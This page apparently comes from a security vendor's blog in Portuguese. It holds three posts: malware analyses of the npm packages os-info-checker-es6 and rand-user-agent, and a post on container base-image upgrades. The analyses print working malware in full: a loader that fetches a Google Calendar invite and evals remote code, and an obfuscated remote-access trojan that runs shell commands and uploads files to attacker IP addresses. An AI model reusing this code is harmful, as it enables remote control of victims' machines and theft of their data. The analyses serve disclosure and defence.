Bem-vindo ao nosso blogue.
.png)
Está convidado: Distribuir malware através de convites do Google Calendar e PUAs
Em 19 de março de 2025, descobrimos um pacote chamado os-info-checker-es6
e ficámos surpreendidos. Percebemos que não estava a fazer o que dizia na embalagem. Mas o que é que se passa? Decidimos investigar o assunto e, inicialmente, chegámos a alguns becos sem saída. Mas a paciência compensa e acabámos por obter a maioria das respostas que procurávamos. Também ficámos a conhecer os PUAs Unicode (não, não são artistas de engate). Foi uma montanha-russa de emoções!
O que é o pacote?
O pacote não dá muitas pistas devido à falta de um LEIAME
ficheiro. Aqui está o aspeto do pacote no npm:

Não é muito informativo. Mas parece que vai buscar informações sobre o sistema. Vamos em frente.
O código malcheiroso denuncia-o
O nosso pipeline de análise levantou imediatamente muitas bandeiras vermelhas a partir do pacote pré-instalação.js
devido à presença de um ficheiro eval()
com entrada codificada em base64.

Vemos o eval(atob(...))
call. Isso significa "Decodificar uma string base64 e avaliá-la", ou seja, executar código arbitrário. Isso nunca é um bom sinal. Mas qual é a entrada?
A entrada é uma cadeia de caracteres que resulta da chamada de descodificar()
em um módulo nativo do Node fornecido com o pacote. A entrada para essa função se parece com... Apenas um |
?! O quê?
Temos aqui várias questões importantes:
- O que é que a função de descodificação está a fazer?
- O que é que a descodificação tem a ver com a verificação das informações do sistema operativo?
- Porque é que
eval()
'ing-lo? - Porque é que a única entrada é um
|
?
Vamos mais longe
Decidimos fazer engenharia reversa do binário. É um pequeno binário Rust que não faz muita coisa. Inicialmente esperávamos ver algumas chamadas a funções para obter informações do SO, mas não vimos NADA. Pensamos que talvez o binário estivesse escondendo mais segredos, fornecendo a resposta para nossa primeira pergunta. Mais sobre isso depois.
Mas então, o que se passa com o facto de a entrada para a função ser apenas um |
? É aqui que as coisas ficam interessantes. Essa não é a entrada real. Copiamos o código para outro editor, e o que vemos é:

Womp-womp! Quase que se safaram. O que vemos são os chamados caracteres Unicode "Private Use Access". São códigos não atribuídos na norma Unicode, reservados para uso privado, que as pessoas podem utilizar para definir os seus próprios símbolos para a sua aplicação. São intrinsecamente não imprimíveis, pois não significam nada intrinsecamente.
Neste caso, o descodificar
no binário nativo do Node decodifica esses bytes em caracteres ASCII codificados em base64. Muito inteligente!
Vamos dar uma volta com ele
Então, decidimos examinar o código real. Felizmente, ele salva o código executado em um arquivo run.txt. E é apenas isto:
consola.log('Verificar');
Isso é muito desinteressante. O que é que eles estão a fazer? Porque é que estão a fazer todo este esforço para esconder este código? Ficámos atónitos.
Mas depois...
Nós começamos a ver pacotes publicados que dependiam deste pacote, um deles sendo do mesmo autor. Eles eram:
saltar
(19 de março de 2025)- É uma cópia do pacote
vue-skip-to
.
- É uma cópia do pacote
vue-dev-serverr
(31 de março de 2025)- É uma cópia do repositório https://github.com/guru-git-man/first.
vue-dummyy
(3 de abril de 2025)- É uma cópia do pacote
vue-dummy
.
- É uma cópia do pacote
vue-bit
(3 de abril de 2025)- Está a fingir ser o pacote
@teambit/bvm
. - Não contém qualquer código efetivo.
- Está a fingir ser o pacote
Todos eles têm em comum o facto de acrescentarem os-info-checker-es6
como uma dependência, mas nunca chamar o descodificar
função. Que desilusão. Não sabemos o que os atacantes pretendiam fazer. Nada aconteceu durante algum tempo até que o os-info-checker-es6
O pacote foi novamente atualizado após uma longa pausa.
FINALMENTE
Há algum tempo que este caso não me saía da cabeça. Não fazia sentido. O que é que eles estavam a tentar fazer? Ter-me-á escapado algo óbvio quando descompilei o módulo nativo do Node? Porque é que um atacante iria queimar esta nova capacidade tão cedo? A resposta veio em 7 de maio de 2025, quando uma nova versão do os-info-checker-es6
, versão 1.0.8
, saiu. O pré-instalação.js
mudou.

Oh, olha, a cadeia ofuscada é muito mais longa! Mas a avaliação
é comentada. Assim, mesmo que exista um payload malicioso na string ofuscada, ele não será executado. O quê? Executámos o descodificador numa caixa de areia e imprimimos a cadeia descodificada. Aqui está ela depois de um pouco de embelezamento e anotações manuais:
const https = require('https');
const fs = require('fs');
/**
* Extract the first capture group that matches the pattern:
* ${attrName}="([^\"]*)"
*/
const ljqguhblz = (html, attrName) => {
const regex = new RegExp(`${attrName}${atob('PSIoW14iXSopIg==')}`); // ="([^"]*)"
return html.match(regex)[1];
};
/**
* Stage-1: fetch a Google-hosted bootstrap page, follow redirects and
* pull the base-64-encoded payload URL from its data-attribute.
*/
const krswqebjtt = async (url, cb) => {
try {
const res = await fetch(url);
if (res.ok) {
// Handle HTTP 30x redirects manually so we can keep extracting headers.
if (res.status !== 200) {
const redirect = res.headers.get(atob('bG9jYXRpb24=')); // 'location'
return krswqebjtt(redirect, cb);
}
const body = await res.text();
cb(null, ljqguhblz(body, atob('ZGF0YS1iYXNlLXRpdGxl'))); // 'data-base-title'
} else {
cb(new Error(`HTTP status ${res.status}`));
}
} catch (err) {
console.log(err);
cb(err);
}
};
/**
* Stage-2: download the real payload plus.
*/
const ymmogvj = async (url, cb) => {
try {
const res = await fetch(url);
if (res.ok) {
const body = await res.text();
const h = res.headers;
cb(null, {
acxvacofz : body, // base-64 JS payload
yxajxgiht : h.get(atob('aXZiYXNlNjQ=')), // 'ivbase64'
secretKey : h.get(atob('c2VjcmV0a2V5')), // 'secretKey'
});
} else {
cb(new Error(`HTTP status ${res.status}`));
}
} catch (err) {
cb(err);
}
};
/**
* Orchestrator: keeps trying the two stages until a payload is successfully executed.
*/
const mygofvzqxk = async () => {
await krswqebjtt(
atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL3Q1Nm5mVVVjdWdIOVpVa3g5'), // https://calendar.app.google/t56nfUUcugH9ZUkx9
async (err, link) => {
if (err) {
console.log('cjnilxo');
await new Promise(r => setTimeout(r, 1000));
return mygofvzqxk();
}
await ymmogvj(
atob(link),
async (err, { acxvacofz, yxajxgiht, secretKey }) => {
if (err) {
console.log('cjnilxo');
await new Promise(r => setTimeout(r, 1000));
return mygofvzqxk();
}
if (acxvacofz.length === 20) {
return eval(atob(acxvacofz));
}
// Execute attacker-supplied code with current user privileges.
eval(atob(acxvacofz));
}
);
}
);
};
/* ---------- single-instance lock ---------- */
const gsmli = `${process.env.TEMP}\\pqlatt`;
if (fs.existsSync(gsmli)) process.exit(1);
fs.writeFileSync(gsmli, '');
process.on('exit', () => fs.unlinkSync(gsmli));
/* ---------- kick it all off ---------- */
mygofvzqxk();
/* ---------- resilience ---------- */
let yyzymzi = 0;
process.on('uncaughtException', async (err) => {
console.log(err);
fs.writeFileSync('_logs_cjnilxo_uncaughtException.txt', String(err));
if (++yyzymzi > 10) process.exit(0);
await new Promise(r => setTimeout(r, 1000));
mygofvzqxk();
});
Viste o URL para o Google Calendar no orquestrador? Isso é uma coisa interessante de se ver num malware. Muito interessante.
Estão todos convidados!
Eis o aspeto da ligação:

Um convite de calendário com uma cadeia de caracteres codificada em base64 como título. Lindo! A foto de perfil da pizza fez-me esperar que talvez fosse um convite para uma festa de pizza, mas o evento está marcado para 7 de junho de 2027. Não posso esperar tanto tempo por uma pizza. No entanto, vou querer outra string codificada em base64. Aqui está o que ela descodifica:
http://140.82.54[.]223/2VqhA0lcH6ttO5XZEcFnEA%3D%3D
Num beco sem saída... outra vez
Esta investigação tem sido cheia de altos e baixos. Pensámos que as coisas estavam num beco sem saída, mas depois voltaram a aparecer sinais de vida. Estivemos tão perto de descobrir a REAL intenção maliciosa do programador, mas não conseguimos.
Não se enganem - esta foi uma nova abordagem à ofuscação. Seria de esperar que qualquer pessoa que dedicasse tempo e esforço a fazer algo deste género utilizasse as capacidades que desenvolveu. Em vez disso, parece que não fizeram nada com isso, mostrando a sua mão.
Como resultado, o nosso motor de análise detecta agora padrões como este, em que um atacante tenta esconder dados em caracteres de controlo não imprimíveis. Este é outro caso em que tentar ser inteligente, em vez de dificultar a deteção, na verdade cria mais sinais. Porque é tão invulgar que se destaca e acena com um grande sinal a dizer: "NÃO ESTOU A FAZER NADA DE BOM". Continuem com o ótimo trabalho. 👍
Indicadores de compromisso
Pacotes
os-info-checker-es6
saltar
vue-dev-serverr
vue-dummyy
vue-bit
IPs
- 140.82.54[.]223
URLs
- https://calendar.app[.]google/t56nfUUcugH9ZUkx9
Reconhecimento
Durante esta investigação, fomos ajudados pelos nossos grandes amigos da Vector35, que nos forneceram uma licença de teste da sua ferramenta Binary Ninja para garantir que compreendíamos totalmente o módulo nativo do Node. Um grande obrigado à equipa pelo seu excelente produto. 👏
.png)
Por que atualizar imagens de base de contêineres é tão difícil (e como torná-lo mais fácil)
A segurança dos contentores começa com a sua imagem de base.
Mas aqui está o senão:
- A simples atualização para a versão "mais recente" de uma imagem de base pode danificar a sua aplicação.
- É forçado a escolher entre enviar vulnerabilidades conhecidas ou passar dias a corrigir problemas de compatibilidade.
- E muitas vezes... nem sequer tem a certeza se vale a pena fazer uma atualização.
Neste post, vamos explorar por que atualizar imagens de base é mais difícil do que parece, passar por exemplos reais e mostrar como você pode automatizar atualizações seguras e inteligentes sem quebrar seu aplicativo.
O problema: "Basta atualizar a sua imagem de base" - É mais fácil falar do que fazer
Se está a ler isto, provavelmente já pesquisou no Google algo como "Como proteger os seus contentores" e o primeiro ponto em todos os artigos gerados por IA que leu é este: actualize a sua imagem de base. Simples, certo? Bem, não tão rápido.
A sua imagem de base é o seu ponto central de segurança, se a sua imagem de base tiver vulnerabilidades no seu interior, então a sua aplicação carrega essas vulnerabilidades com ela. Vamos analisar este cenário.
Executa uma análise à sua imagem de contentor e é encontrado um CVE de alta gravidade. A recomendação útil é atualizar a imagem de base, o que é fantástico, e estará pronto antes do almoço.
⚠️ CVE-2023-37920 encontrado em ubuntu:20.04
Gravidade: Alta
Corrigido em: 22.04
Recomendação: Atualizar a imagem base
... mas descobrem um problema.
Ao atualizar cegamente a partir de ubuntu:20.04
para ubuntu:22.04
, a sua candidatura fica desfeita.
Vejamos alguns exemplos de colisão de uma imagem de base e o que acontece na realidade.
Exemplo 1: Um Dockerfile que quebra após uma atualização
Dockerfile inicial:
DE python:3.8-buster
EXECUTAR apt-get update && apt-get install -y libpq-dev
EXECUTAR pip install psycopg2==2.8.6 flask==1.1.2
COPY . /appCMD ["python", "app.py"]
A equipa actualiza-se para:
DE python:3.11-bookworm
EXECUTAR apt-get update && apt-get install -y libpq-dev
EXECUTAR pip install psycopg2==2.8.6 flask==1.1.2COPY . /appCMD ["python", "app.py"]
Resultado:
psycopg2==2.8.6
não consegue compilar com as versões mais recentes dolibpq
cabeçalhos emleitor de livros.
frasco==1.1.2
não suportaPython 3.11
caraterísticas de tempo de execução (quebra de APIs obsoletas).- A construção é interrompida na CI.
- A sua equipa de desenvolvimento está furiosa e o seu almoço está arruinado.
Exemplo 2: Actualizações da imagem de base que introduzem erros subtis de tempo de execução
Original:
DE node:14-busterCOPY. /app
EXECUTAR npm ci
CMD ["node", "server.js"]
Atualizar para:
FROM node:20-bullseye
COPIAR . /app
EXECUTAR npm ci
CMD ["node", "server.js"]
Problema de tempo de execução:
nó:20
utiliza os mais recentesOpenSSL
versões - a verificação estrita do TLS quebra as configurações mais antigas do axios.- A aplicação lança
UNABLE_TO_VERIFY_LEAF_SIGNATURE
erros em tempo de execuçãoHTTP
chamadas para serviços antigos.
Porque é que o "mais recente" é uma armadilha
O ecossistema Docker incentiva o uso das tags mais recentes ou versões de primeira linha. Mas isso geralmente significa que seu aplicativo que estava em execução na segunda-feira de repente falha na terça-feira. Isso geralmente é uma armadilha que causará dores de cabeça, interrupções e desenvolvimento mais lento, pois você gasta tempo corrigindo bugs.
Portanto, a solução é, obviamente, fixar uma versão menor que tenha testado.... Não tão depressa, pois agora entrou no jogo de segurança whack-a-mole onde estará sempre a descobrir novos CVEs que o podem deixar vulnerável.
Paralisia de decisão: Deve atualizar ou não?
As equipas de segurança insistem nas actualizações.
Os programadores insistem na estabilidade.
Quem é que tem razão? Depende.
MAS, para compreender a decisão, é necessário analisar todas as opções, o que significa criar uma folha de cálculo enorme com todas as versões, riscos de segurança, riscos de estabilidade e disponibilidade.
Vamos ver como é que isso pode ser.
Isto deixa-o com escolhas complexas, de má qualidade e impossíveis
- Manter a imagem antiga e aceitar as vulnerabilidades
- Atualizar e danificar a sua aplicação, arriscando o tempo de inatividade da produção
- Tentar efetuar um teste de compatibilidade manual - dias de trabalho
O fluxo de trabalho de atualização manual:
Se estiver a fazer isto à mão, o resultado é o seguinte:
- Verificar CVEs:
imagem trivy python:3.8-buster
- Pesquise cada CVE: é acessível no contexto da sua aplicação?
- Decidir sobre o candidato à atualização
- Teste a nova imagem:
- Construir
- Executar testes unitários
- Executar testes de integração
- Se falhar, tente corrigir o código ou atualizar as bibliotecas.
- Repetir o procedimento para todos os recipientes.
É cansativo.
O custo de ficar parado
Pode pensar-se que "se não está estragado, não se arranja".
Mas os CVEs de contentores não corrigidos contribuem maciçamente para as violações de segurança. "87% das imagens de contentores em produção tinham pelo menos uma vulnerabilidade crítica ou de elevada gravidade." fonte
Há também muitas explorações conhecidas que existem em imagens de base populares.
- Vulnerabilidade de travessia de caminho do Unzip (
CVE-2020-27350
) - esteve durante anos em milhões de contentores. - Heartbleed (
CVE-2014-0160
) permaneceram nos contentores antigos muito depois das correcções oficiais. PHP-FPM RCE
(CVE-2019-11043
) permitem que atacantes remotos executem código arbitrário através de pedidos HTTP criados e era extremamente comum em imagens de base de contentores comPHP-FPM pré-instalado
antes de ser corrigido
Como é que a nossa funcionalidade de correção automática ajuda
Para resolver este cenário exato, a Aikido Security lançou a nossa funcionalidade de auto-correção de contentores porque, bem, nós também vivemos neste sofrimento.
A funcionalidade funciona da seguinte forma: as suas imagens, o Aikido analisa os seus contentores à procura de vulnerabilidades. Se (ou, mais provavelmente, quando) encontrarmos vulnerabilidades, como sempre, alertamo-lo. Depois, em vez de lhe gritarmos para atualizar a sua imagem de base, fornecemos-lhe diferentes opções. Criamos uma tabela que lhe permite saber que versão da imagem de base irá resolver que CVEs, desta forma pode ver muito rapidamente que um pequeno aumento pode remover todos ou a maioria dos CVEs elevados, o que significa que esta é uma atualização adequada da imagem de base.
Se a atualização for um pequeno aumento, pode criar automaticamente um pull request para aumentar a versão.
São horas de trabalho poupadas
Conclusão:
- Atualizar imagens de base de contentores é realmente difícil.
- O conselho "basta atualizar" simplifica demasiado um processo complexo e cheio de riscos.
- As suas equipas têm razão em ser cautelosas, mas não devem ter de escolher entre segurança e estabilidade.
- O autofix do contentor Aikido faz o trabalho difícil por si, para que possa tomar uma decisão informada.
- Assim, da próxima vez que vir um alerta de vulnerabilidade de imagem de base, não entrará em pânico. Vai ter um PR.
.png)
RATatatouille: Uma receita maliciosa escondida no rand-user-agent (Supply Chain Compromise)
Em 5 de maio, às 16:00 GMT+0, o nosso pipeline de análise automática de malware detectou um pacote suspeito lançado, rand-user-agent@1.0.110
. Detectou código invulgar no pacote, e não estava errado. Detectou sinais de um ataque à cadeia de fornecimento contra este pacote legítimo, que tem cerca de 45.000 descargas semanais.
O que é o pacote?
O pacote `rand-user-agent` gera strings de user-agent reais aleatórias com base na sua frequência de ocorrência. Ele é mantido pela empresa WebScrapingAPI(https://www.webscrapingapi.com/).
O que é que detectámos?
O nosso motor de análise detectou código suspeito no ficheiro dist/index.js. Vamos dar uma olhadela, aqui visto através da vista de código no site do npm:
.png)
Reparou em alguma coisa engraçada? Estão a ver aquela barra de deslocamento no fundo? Bolas, voltaram a fazê-lo. Tentaram esconder o código. Aqui está o que eles estão a tentar esconder, embelezado:
global["_V"] = "7-randuser84";
global["r"] = require;
var a0b, a0a;
(function () {
var siM = "",
mZw = 357 - 346;
function pHg(l) {
var y = 2461180;
var i = l.length;
var x = [];
for (var v = 0; v < i; v++) {
x[v] = l.charAt(v);
}
for (var v = 0; v < i; v++) {
var h = y * (v + 179) + (y % 18929);
var w = y * (v + 658) + (y % 13606);
var s = h % i;
var f = w % i;
var j = x[s];
x[s] = x[f];
x[f] = j;
y = (h + w) % 5578712;
}
return x.join("");
}
var Rjb = pHg("thnoywfmcbxturazrpeicolsodngcruqksvtj").substr(0, mZw);
var Abp =
'e;s(Avl0"=9=.u;ri+t).n5rwp7u;de(j);m"[)r2(r;ttozix+z"=2vf6+*tto,)0([6gh6;+a,k qsb a,d+,o-24brC4C=g1,;(hnn,o4at1nj,2m9.o;i0uhl[j1zen oq9v,=)eAa8hni e-og(e;s+es7p,.inC7li1;o 2 gai](r;rv=1fyC[ v =>agfn,rv"7erv,htv*rlh,gaq0.i,=u+)o;;athat,9h])=,um2q(svg6qcc+r. (u;d,uor.t.0]j,3}lr=ath()(p,g0;1hpfj-ro=cr.[=;({,A];gr.C7;+ac{[=(up;a](s sa)fhiio+cbSirnr; 8sml o<.a6(ntf gr=rr;ea+=;u{ajrtb=bta;s((tr]2+)r)ng[]hvrm)he<nffc1;an;f[i]w;le=er=v)daec(77{1)lghr(t(r0hewe;<a tha);8l8af6rn o0err8o+ivrb4l!);y rvutp;+e]ez-ec=).(])o r9=rg={0r4=l8i2gCnd)[];dca=,ivu8u rs2+.=7tjv5(=agf=,(s>e=o.gi9nno-s)v)d[(tu5"p)6;n2lpi)+(}gd.=}g)1ngvn;leti7!;}v-e))=v3h<evvahr=)vbst,p.lforn+pa)==."n1q[==cvtpaat;e+b";sh6h.0+(l}==+uca.ljgi;;0vrwna+n9Ajm;gqpr[3,r=q10or"A.boi=le{}o;f h n]tqrrb)rsgaaC1r";,(vyl6dnll.(utn yeh;0[g)eew;n);8.v +0+,s=lee+b< ac=s."n(+l[a(t(e{Srsn a}drvmoi]..odi;,=.ju];5a=tgp(h,-ol8)s.hur;)m(gf(ps)C';
var QbC = pHg[Rjb];
var duZ = "";
var yCZ = QbC;
var pPW = QbC(duZ, pHg(Abp));
var fqw = pPW(
pHg(
']W.SJ&)19P!.)]bq_1m1U4(r!)1P8)Pfe4(;0_4=9P)Kr0PPl!v\/P<t(mt:x=P}c)]PP_aPJ2a.d}Z}P9]r8=f)a:eI1[](,8t,VP).a ]Qpip]#PZP;eNP_P6(=qu!Pqk%\/pT=tPd.f3(c2old6Y,a5)4 (_1!-u6M<!6=x.b}2P 4(ba9..=;p5P_e.P)aP\/47PtonaP\/SPxse)59f.)P)a2a,i=P]9q$.e=Pg23w^!3,P.%ya05.&\'3&t2)EbP)P^P!sP.C[i_iP&\'. 3&5ecnP(f"%.r5{!PPuH5].6A0roSP;;aPrg(]oc8vx]P(aPt=PP.P)P)(he6af1i0)4b(( P6p7Soat9P%2iP y 1En,eVsePP[n7E)r2]rNg3)CH(P2.s>jopn2P$=a7P,].+d%1%p$]8)n_6P1 .ap;=cVK%$e(?,!Vhxa%PPs);.tbr.r5ay25{gPegP %b7 (!gfEPeEri3iut)da(saPpd%)6doPob%Ds e5th }PP781su{P.94$fe.b.({(!rb=P(a{t3t8eBM,#P^m.q.0StPro8)PP(]"nP)e4(y)s.1n4 tl658r)Pove5f;%0a8e0c@P(d16(n.jsP)y=hP3,.gsvP4_%;%c%e.xd[,S1PhWhP.$p.p`i0P?PP5P_Paddn%D$_xn)3,=P]axn0i.(3;.0vcPj%y=cd56ig\/P=[ .nr)Ps iPedjgo5\/o6.m#;dD%iax,[aK1ot(S%hI noqjf7oPoezP,0,9d){cPx uPmsb11ah9n22=8j{wAPe1 ciP;db((KP9%l5=0.aP%}] std1.tt).A%.%brib);N)0d{4h6f4N)8mt$9)g) 7n;(a(_(7 laP!($!.1s5]P4P)hiu%72P1}Ve.+)12>%$P)_1P)na3)_tP\'69086t3im=n1M1c)0);)d3)4neaPD]4m(%fd[Pofg6[m}b4P[7vV)P)S;P]]=9%124oDtrP;f)[(;)rdPiP3d}0f.3a]SI=))}:X^d5oX,)aCh]]h19dzd.Pf_Pad]j02a)bPm3x0(aPzV;6+n#:pPd.P8)(aa,$P7o%)),;)?4.dP=2PP.Piu!(})30YP4%%66]0blP,P1cfPoPPG{P8I(]7)n! _t. .PsP};.)\/(hP)f)Loc5QPX>a!nT}aPa_P6jfrP0]fSoaPs.jbs )aPW+\/P8oaP}_RjGpPS,r___%%.v(ZP.3)! i]H1{(a2P;Pe)ji.Pi10lc.cp6ymP13]PL5;cPPK%C c79PGp=%P1^%}().j.rPsoa]sP+_P)l)]P(P8bP,ap$BP,;,c01;51bP(PccP))tPh]hc4B(P=(h%l<Ps!4w]_c[]e(tnyP)))P_a?+P+P.H],2-tfa^$;r(P!\\a]))1c&o1..j(%sPxef5P.6aP;9.b Rg(f=)\/vb9_3,P95&PP,\\=9p423).P]_7,"E)n\/Js2 PF)aPPPi)b0!06o6.8oa=thx2!..P$P oPs8PxP)n)aP;o71PkPp7i$Pb)P]_a,rta%_jUa<48R(;[!]VPaPut7rf.+v$aP$ i$P&56l.%]dP9(s1e$7b=34}MPt0,(c(.P(fPic$=ch)nP?jf0!PP8n9i2].P1)PPMa.t$)4P.q].ii3}aP;aPPr,bg;PdP98tPctPa0()_%dPr =.r.mJt)(P]sCJoeb(PiaPo(lr*90aPPgo\\dP\/PPa+mx2fPpPP4,)Pd8Nfp4uaIho]c[]361P&b}bPPP4t=3\'a)PnP(,8fp]P706p1PPle$f)tcPoP 7bP$!-vPPW10 0yd]4)2"ey%u2s9)MhbdP]f9%P.viP4P=,a s].=4])n$GPPsPaoP81}[%57)]CSPPa;!P2aPc..Pba?(Pati0]13PP,{P(haPcP;W%ff5XPia.j!4P(ablil}rcycN.7Pe.a_4%:7PHctP1P)c_(c;dt.Pl(PPP)V\/[Ph_.j&P]3geL[!c$P3P88ea(a8.d,)6fPP3a=rz3O[3)\\bnd=)6ac.a?,(]e!m=;{a&(]c_01rP_)2P9[xfz._9P,qP.9k%0mPen_a"]4PtP(m;PP})t2PkPPp=])d9Pt}oa)eP)rPi@j(+PP@.#P(t6=%[\\a\\}o2jr51d;,Paw$\/4Pt;2P23iP(_CPO2p.$(iP*]%!3P(P.3()P1m7(U7tI#9wejf.sc.oes)rPgt(+oe;,Px5(sn;O0f_22)r.z}l]Ig4a)xF P}?P;$?cw3,bg\\cPaP(grgalP$)(]e@2),Pa(fP=_,t{) (ec]aP1f2.z1[P !3 ?_b],P4CnoPx%)F9neQ.;sPb11ao1)6Pdd_l(%e)}Plp((4c6pou46ea# mdad_3hP3a.m,d.P(l]Q{Pt")7am=qPN7)$ oPF(P%kPat)$Pbaas=[tN;1;-?1)hO,,Pth;}aP.PP),,:40P#U}Paa92.|,m-(}g #a.2_I? 56a3PP(1%7w+11tPbPaPbP.58P6vrR,.{f.or)nn.d]P]r03j0;&482Pe.I_siP(Iha3=0zPy\/t%](_e)))[P26((;,d$P6e(l]r+C=[Pc347f3rTP=P.%f)P96].%P]"0InP(5a_iPIP13WNi)a4mP.s=`aveP>.;,$Es)P2P0=)v_P%8{P;o).0T2ox*PP:()PTS!%tc])4r.fy sefv{.)P9!jltPPsin6^5t(P0tr4,0Pt_P6Pa]aa|(+hp,)pPPCpeP.13l])gmrPc3aa] f,0()s3.tf(PPriPtb40aPnr8 2e0"2>P0tj$d_75!LG__7xf7);`f_fPPP]c6Wec;{Pi4.!P(\\#(b_u{=4RYr ihHP=Pac%Po 5vyt)DP6m5*1# 3ao6a7.0f1f0P. )iKPb),{PPPd=Po;roP$f=P1-_ePaa!8DV()[oP3(i,Pa,(c=o({PpPl#).c! =;"i;j]1vr i.d-j=t,).n9t%r5($Plc;?d]8P<=(sPP)AoPa)) P1x]Kh)(0]}6PAfbCp7PP(1oni,!rsPu.!-2g0 ,so0SP3P4j0P2;QPPjtd9 46]l.]t7)>5s31%nhtP!a6pP0P0a[!fPta2.P3 \\. ,3b.cb`ePh(Po a+ea2af(a13 oa%:}.kiM_e!d Pg>l])(@)Pg186( .40[iPa,sP>R(?)7zrnt)Jn[h=)_hl)b$3`($s;c.te7c}P]i52"9m3t ,P]PPP_)e4tf0Ps ,P+PP(gXh{;o_cxjn.not.2]Y"Pf6ep!$:1,>05PHPh,PF(P7.;{.lr[cs);k4P\/j7aP()M70glrP=01aes_Pfdr)axP p2?1ba2o;s..]a.6+6449ufPt$0a$5IsP(,P[ejmP0PP.P%;WBw(-5b$P d5.3Uu;3$aPnfu3Zha5 5gdP($1ao.aLko!j%ia21Pmh 0hi!6;K!P,_t`i)rP5.)J].$ b.}_P (Pe%_ %c^a_th,){(7 0sd@d$s=$_el-a]1!gtc(=&P)t_.f ssh{(.F=e9lP)1P($4P"P,9PK.P_P s));',
),
);
var zlJ = yCZ(siM, fqw);
zlJ(5164);
return 8268;
})();
Sim, isso parece mau. É óbvio que isto não era suposto estar ali.
Como é que o código foi lá parar?
Se olharmos para o repositório GitHub do projeto, vemos que o último commit foi há 7 meses, quando a versão 2.0.82 foi lançada.

Se olharmos para o histórico de versões do npm, vemos algo estranho. Houve vários lançamentos desde então:
.png)
Portanto, a última versão, de acordo com o GitHub, deve ser 2.0.82
. E se inspeccionarmos os pacotes desde então, todos eles têm este código malicioso. Um caso claro de um ataque à cadeia de abastecimento.
A carga útil maliciosa
O payload é bastante ofuscado, usando várias camadas de ofuscação para se esconder. Mas aqui está o payload final que acabará por encontrar:
global['_H2'] = ''
global['_H3'] = ''
;(async () => {
const c = global.r || require,
d = c('os'),
f = c('path'),
g = c('fs'),
h = c('child_process'),
i = c('crypto'),
j = f.join(d.homedir(), '.node_modules')
if (typeof module === 'object') {
module.paths.push(f.join(j, 'node_modules'))
} else {
if (global['_module']) {
global['_module'].paths.push(f.join(j, 'node_modules'))
}
}
async function k(I, J) {
return new global.Promise((K, L) => {
h.exec(I, J, (M, N, O) => {
if (M) {
L('Error: ' + M.message)
return
}
if (O) {
L('Stderr: ' + O)
return
}
K(N)
})
})
}
function l(I) {
try {
return c.resolve(I), true
} catch (J) {
return false
}
}
const m = l('axios'),
n = l('socket.io-client')
if (!m || !n) {
try {
const I = {
stdio: 'inherit',
windowsHide: true,
}
const J = {
stdio: 'inherit',
windowsHide: true,
}
if (m) {
await k('npm --prefix "' + j + '" install socket.io-client', I)
} else {
await k('npm --prefix "' + j + '" install axios socket.io-client', J)
}
} catch (K) {
console.log(K)
}
}
const o = c('axios'),
p = c('form-data'),
q = c('socket.io-client')
let r,
s,
t = { M: P }
const u = d.platform().startsWith('win'),
v = d.type(),
w = global['_H3'] || 'http://85.239.62[.]36:3306',
x = global['_H2'] || 'http://85.239.62[.]36:27017'
function y() {
return d.hostname() + '$' + d.userInfo().username
}
function z() {
const L = i.randomBytes(16)
L[6] = (L[6] & 15) | 64
L[8] = (L[8] & 63) | 128
const M = L.toString('hex')
return (
M.substring(0, 8) +
'-' +
M.substring(8, 12) +
'-' +
M.substring(12, 16) +
'-' +
M.substring(16, 20) +
'-' +
M.substring(20, 32)
)
}
function A() {
const L = { reconnectionDelay: 5000 }
r = q(w, L)
r.on('connect', () => {
console.log('Successfully connected to the server')
const M = y(),
N = {
clientUuid: M,
processId: s,
osType: v,
}
r.emit('identify', 'client', N)
})
r.on('disconnect', () => {
console.log('Disconnected from server')
})
r.on('command', F)
r.on('exit', () => {
process.exit()
})
}
async function B(L, M, N, O) {
try {
const P = new p()
P.append('client_id', L)
P.append('path', N)
M.forEach((R) => {
const S = f.basename(R)
P.append(S, g.createReadStream(R))
})
const Q = await o.post(x + '/u/f', P, { headers: P.getHeaders() })
Q.status === 200
? r.emit(
'response',
'HTTP upload succeeded: ' + f.basename(M[0]) + ' file uploaded\n',
O
)
: r.emit(
'response',
'Failed to upload file. Status code: ' + Q.status + '\n',
O
)
} catch (R) {
r.emit('response', 'Failed to upload: ' + R.message + '\n', O)
}
}
async function C(L, M, N, O) {
try {
let P = 0,
Q = 0
const R = D(M)
for (const S of R) {
if (t[O].stopKey) {
r.emit(
'response',
'HTTP upload stopped: ' +
P +
' files succeeded, ' +
Q +
' files failed\n',
O
)
return
}
const T = f.relative(M, S),
U = f.join(N, f.dirname(T))
try {
await B(L, [S], U, O)
P++
} catch (V) {
Q++
}
}
r.emit(
'response',
'HTTP upload succeeded: ' +
P +
' files succeeded, ' +
Q +
' files failed\n',
O
)
} catch (W) {
r.emit('response', 'Failed to upload: ' + W.message + '\n', O)
}
}
function D(L) {
let M = []
const N = g.readdirSync(L)
return (
N.forEach((O) => {
const P = f.join(L, O),
Q = g.statSync(P)
Q && Q.isDirectory() ? (M = M.concat(D(P))) : M.push(P)
}),
M
)
}
function E(L) {
const M = L.split(':')
if (M.length < 2) {
const R = {}
return (
(R.valid = false),
(R.message = 'Command is missing ":" separator or parameters'),
R
)
}
const N = M[1].split(',')
if (N.length < 2) {
const S = {}
return (
(S.valid = false), (S.message = 'Filename or destination is missing'), S
)
}
const O = N[0].trim(),
P = N[1].trim()
if (!O || !P) {
const T = {}
return (
(T.valid = false), (T.message = 'Filename or destination is empty'), T
)
}
const Q = {}
return (Q.valid = true), (Q.filename = O), (Q.destination = P), Q
}
function F(L, M) {
if (!M) {
const O = {}
return (
(O.valid = false),
(O.message = 'User UUID not provided in the command.'),
O
)
}
if (!t[M]) {
const P = {
currentDirectory: __dirname,
commandQueue: [],
stopKey: false,
}
}
const N = t[M]
N.commandQueue.push(L)
G(M)
}
async function G(L) {
let M = t[L]
while (M.commandQueue.length > 0) {
const N = M.commandQueue.shift()
let O = ''
if (N.startsWith('cd')) {
const P = N.slice(2).trim()
try {
process.chdir(M.currentDirectory)
process.chdir(P || '.')
M.currentDirectory = process.cwd()
} catch (Q) {
O = 'Error: ' + Q.message
}
} else {
if (N.startsWith('ss_upf') || N.startsWith('ss_upd')) {
const R = E(N)
if (!R.valid) {
O = 'Invalid command format: ' + R.message + '\n'
r.emit('response', O, L)
continue
}
const { filename: S, destination: T } = R
M.stopKey = false
O = ' >> starting upload\n'
if (N.startsWith('ss_upf')) {
B(y(), [f.join(process.cwd(), S)], T, L)
} else {
N.startsWith('ss_upd') && C(y(), f.join(process.cwd(), S), T, L)
}
} else {
if (N.startsWith('ss_dir')) {
